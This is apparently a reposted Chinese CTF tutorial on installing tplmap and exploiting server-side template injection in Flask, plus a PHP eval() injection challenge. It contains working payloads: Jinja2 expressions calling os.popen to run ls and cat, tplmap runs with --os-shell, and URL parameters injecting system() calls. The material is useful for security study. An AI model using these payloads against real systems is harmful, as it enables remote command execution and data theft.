tplmap的安裝和簡單使用


## 1 tplmap的安裝和使用

tpl是用python2編寫的,報錯一般是使用py3

==kali下安裝tplmap 可以參考一下這篇博文 https://www.cnblogs.com/ktsm/p/15691652.html ==
以下操作均在centos7的環境下操作,debian ubuntu適用

1.1 使用git克隆tplmap

git clone https://github.com/epinna/tplmap

cd tplmap

sudo yum install python-pip -y||sudo apt install python-pip #安裝py2的pip

pip install -r requirements.txt

1.2 操作實例

#探測注入點
./tplmap.py -u 'http://114.67.246.176:17787/?flag'


#獲取shell
./tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell

1.3 詳細命令


--os-shell                          Run shell on the target
--os-cmd                            Execute shell commands
--bind-shell PORT                   Connect to a shell bind to a target port
--reverse-shell HOST PORT   Send a shell back to the attacker's port
--upload LOCAL REMOTE       Upload files to the server
--download REMOTE LOCAL     Download remote files

2. python flask框架模板注入

2.1 手動注入

查看根目錄(ctf簡單的題目flag一般在根目錄)

http://114.67.246.176:17130/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

網頁明文顯示

image-20211027212203187

一般的linux根目錄如下

image-20211027212249912

顯然app是用戶新增的目錄, 接下來進入它, 看能不能找到flag

http://114.67.246.176:17130/?flag={{ config.class.init.globals['os'].popen('cd app&& ls').read() }}

運氣不錯, 直接爆出來了flag

image-20211027212516344

http://114.67.246.176:17130/?flag={{ config.class.init.globals['os'].popen('cat flag').read() }}
http://114.67.175.224:16538/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

flag就不貼了, 大家自己嘗試一下吧.

2.2 自動注入

直接使用上面介紹的tplmap進行自動注入!!!

./tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell

3. php應用實例

extract()

解析傳入的值

extract($_GET);
extract($_POST);

error_reporting() 函數

<?php
 // 關閉錯誤報告
 error_reporting(0);

 // 報告 runtime 錯誤
 error_reporting(E_ERROR | E_WARNING | E_PARSE);

 // 報告所有錯誤
 error_reporting(E_ALL);

 // 等同 error_reporting(E_ALL);
 ini_set("error_reporting", E_ALL);

 // 報告 E_NOTICE 之外的所有錯誤
 error_reporting(E_ALL & ~E_NOTICE);
?> 

題目

<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
    $attrstr .= 'array(';
    $attrids = count($attrid);
    for($i=0; $i<$attrids; $i++)
    {
        $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
        if($i < $attrids-1)
        {
            $attrstr .= ',';
        }
    }
    $attrstr .= ');';
}

String2Array($attrstr);

解法

構造url進行注入獲取權限

?attrid[0]=1&attrvalue[0]=1&attrstr=phpinfo();

丟進tplmap獲取shell權限

cd ~/tplmap/tplmap
python tplmap -u "http://dd99644f-c8ac-4214-9d37-0699eea59b19.node4.buuoj.cn:81/" --os-shell

原理

eval函數會執行php函數
eval() 函數把字符串按照 PHP 代碼來計算。

該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
system函數

注意,system()會將shell命令執行之后,立馬顯示結果,這一點會比較不方便,因為我們有時候不需要結果立馬輸出,甚至不需要輸出,於是可以用到exec()

所以執行以下url

cf307529-9fc9-409e-a14b-7a4c0d2d8a3d.node4.buuoj.cn:81/?attrid[0]=1&attrvalue[0]=1&attrstr=system(%27cat%20//etc/timezone%27);

得到flag

image-20211024183553624


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM